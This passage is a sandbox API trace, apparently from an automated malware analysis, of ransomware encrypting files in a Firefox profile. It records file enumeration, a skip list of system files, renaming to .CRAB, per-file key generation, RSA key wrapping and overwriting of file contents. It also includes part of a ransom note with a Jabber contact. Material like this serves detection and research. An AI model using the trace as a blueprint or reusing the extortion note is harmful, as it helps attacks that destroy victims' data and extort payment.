dce1bb8bd2ca4def                        \r\n    1) Enter \"password\": your password\r\n2. Add new account in Psi\r\n3. Add and write Jabber ID: ransomware@sj.ms any message\r\n4. Follow instruction bot \r\n\r\n\r\nATTENTION!\r\nIt is a bot! It's fully automated artificial system without human control!\r\nTo contact us use TOR links. We can provide you all required proofs of decryption availibility anytime. We are open to conversations.\r\nYou can read instructions how to install and use jabber here http://www.sfu.ca/jabber/Psi_Jabber_PC.pdf \r\n\r\nCAUGHTION! \r\r\nDo not try to modify files or use your own private key. This will result in the loss of your data forever! ") returned 1639
	[0123.363] WriteFile (in: hFile=0x3dc, lpBuffer=0xcf3000*, nNumberOfBytesToWrite=0xcce, lpNumberOfBytesWritten=0x3147f5c, lpOverlapped=0x0 | out: lpBuffer=0xcf3000*, lpNumberOfBytesWritten=0x3147f5c*=0xcce, lpOverlapped=0x0) returned 1
	[0123.364] CloseHandle (hObject=0x3dc) returned 1
	[0123.364] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.364] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\") returned 118
	[0123.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*"
	[0123.364] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 0x3166aa0
	[0123.364] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0123.364] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.364] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0123.364] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0123.364] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.364] lstrcmpW (lpString1=".metadata", lpString2=".") returned 1
	[0123.364] lstrcmpW (lpString1=".metadata", lpString2="..") returned 1
	[0123.364] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata"
	[0123.364] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.364] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127
	[0123.364] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127
	[0123.364] lstrlenW (lpString=".metadata") returned 9
	[0123.364] VirtualAlloc (lpAddress=0x0, dwSize=0x16, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.365] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".metadata ") returned 10
	[0123.365] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127
	[0123.365] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata") returned 127
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="desktop.ini") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="autorun.inf") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="ntuser.dat") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="iconcache.db") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="bootsect.bak") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="boot.ini") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="ntuser.dat.log") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="thumbs.db") returned -1
	[0123.365] lstrcmpiW (lpString1=".metadata", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.365] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.365] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB") returned 132
	[0123.365] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata")) returned 0x20
	[0123.365] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata", dwFileAttributes=0x20) returned 1
	[0123.366] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.crab")) returned 1
	[0123.366] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.367] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB"
	[0123.367] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB.CRAB"
	[0123.367] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6eb78) returned 1
	[0123.367] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.367] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.367] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.367] CryptGenRandom (in: hProv=0xd6eb78, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0123.367] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0123.367] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.368] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0123.368] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.368] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.368] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.368] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0123.368] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.368] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.368] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.369] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.369] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0123.369] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166c60) returned 1
	[0123.369] CryptGetKeyParam (in: hKey=0x3166c60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.369] CryptEncrypt (in: hKey=0x3166c60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0123.369] GetLastError () returned 0x0
	[0123.369] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.369] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e5a0) returned 1
	[0123.370] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166ae0) returned 1
	[0123.370] CryptGetKeyParam (in: hKey=0x3166ae0, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.370] CryptEncrypt (in: hKey=0x3166ae0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0123.370] GetLastError () returned 0x0
	[0123.370] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.370] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.370] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.371] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.371] ReadFile (in: hFile=0x3fc, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147f2c*=0x2e, lpOverlapped=0x0) returned 1
	[0123.379] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.379] VirtualAlloc (lpAddress=0x0, dwSize=0x30, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.379] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.379] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffd2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.379] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x30, lpOverlapped=0x0) returned 1
	[0123.380] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.380] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.383] WriteFile (in: hFile=0x3fc, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.383] WriteFile (in: hFile=0x3fc, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x3147f1c*=0x100, lpOverlapped=0x0) returned 1
	[0123.383] WriteFile (in: hFile=0x3fc, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3147f1c*=0x8, lpOverlapped=0x0) returned 1
	[0123.383] CloseHandle (hObject=0x3fc) returned 1
	[0123.383] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.383] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.384] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.384] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.384] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.384] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.384] FindNextFileW (in: hFindFile=0x3166aa0, lpFindFileData=0x3148778 | out: lpFindFileData=0x3148778) returned 1
	[0123.385] lstrcmpW (lpString1=".metadata-v2", lpString2=".") returned 1
	[0123.385] lstrcmpW (lpString1=".metadata-v2", lpString2="..") returned 1
	[0123.385] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\", lpString2=".metadata-v2" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"
	[0123.385] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0123.385] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130
	[0123.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130
	[0123.385] lstrlenW (lpString=".metadata-v2") returned 12
	[0123.385] VirtualAlloc (lpAddress=0x0, dwSize=0x1c, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.385] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".metadata-v2 ") returned 13
	[0123.385] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130
	[0123.385] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2") returned 130
	[0123.385] lstrcmpiW (lpString1=".metadata-v2", lpString2="desktop.ini") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="autorun.inf") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="ntuser.dat") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="iconcache.db") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="bootsect.bak") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="boot.ini") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="ntuser.dat.log") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="thumbs.db") returned -1
	[0123.386] lstrcmpiW (lpString1=".metadata-v2", lpString2="CRAB-DECRYPT.txt") returned -1
	[0123.386] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0123.387] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB") returned 135
	[0123.387] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2")) returned 0x20
	[0123.387] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2", dwFileAttributes=0x20) returned 1
	[0123.387] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.crab")) returned 1
	[0123.388] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0123.388] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB"
	[0123.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB.CRAB"
	[0123.388] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e5a0) returned 1
	[0123.389] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.389] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.389] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.389] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x3147ed4 | out: pbBuffer=0x3147ed4) returned 1
	[0123.389] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0123.389] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.390] CryptAcquireContextW (in: phProv=0x3147d98, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d98*=0xd6e408) returned 1
	[0123.390] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0123.390] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0123.390] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0123.391] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3147eb0 | out: pbBuffer=0x3147eb0) returned 1
	[0123.391] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.391] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.391] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0123.391] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0123.391] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e9e0) returned 1
	[0123.392] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3166f60) returned 1
	[0123.392] CryptGetKeyParam (in: hKey=0x3166f60, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.392] CryptEncrypt (in: hKey=0x3166f60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x3147ee4*=0x100) returned 1
	[0123.392] GetLastError () returned 0x0
	[0123.392] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0123.392] CryptAcquireContextW (in: phProv=0x3147d88, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3147d88*=0xd6e408) returned 1
	[0123.393] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3147d84 | out: phKey=0x3147d84*=0x3167020) returned 1
	[0123.393] CryptGetKeyParam (in: hKey=0x3167020, dwParam=0x8, pbData=0x3147d74, pdwDataLen=0x3147d7c, dwFlags=0x0 | out: pbData=0x3147d74*=0x800, pdwDataLen=0x3147d7c*=0x4) returned 1
	[0123.393] CryptEncrypt (in: hKey=0x3167020, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x3147ee8*=0x100) returned 1
	[0123.393] GetLastError () returned 0x0
	[0123.393] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0123.393] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3fc
	[0123.393] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0123.394] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0123.394] ReadFile (in: hFile=0x3fc, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3147f2c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x3147f2c*=0x3b, lpOverlapped=0x0) returned 1
	[0123.405] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0123.405] VirtualAlloc (lpAddress=0x0, dwSize=0x40, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0123.406] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0123.406] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0xffffffc5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.406] WriteFile (in: hFile=0x3fc, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x3147f1c, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3147f1c*=0x40, lpOverlapped=0x0) returned 1
	[0123.406] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
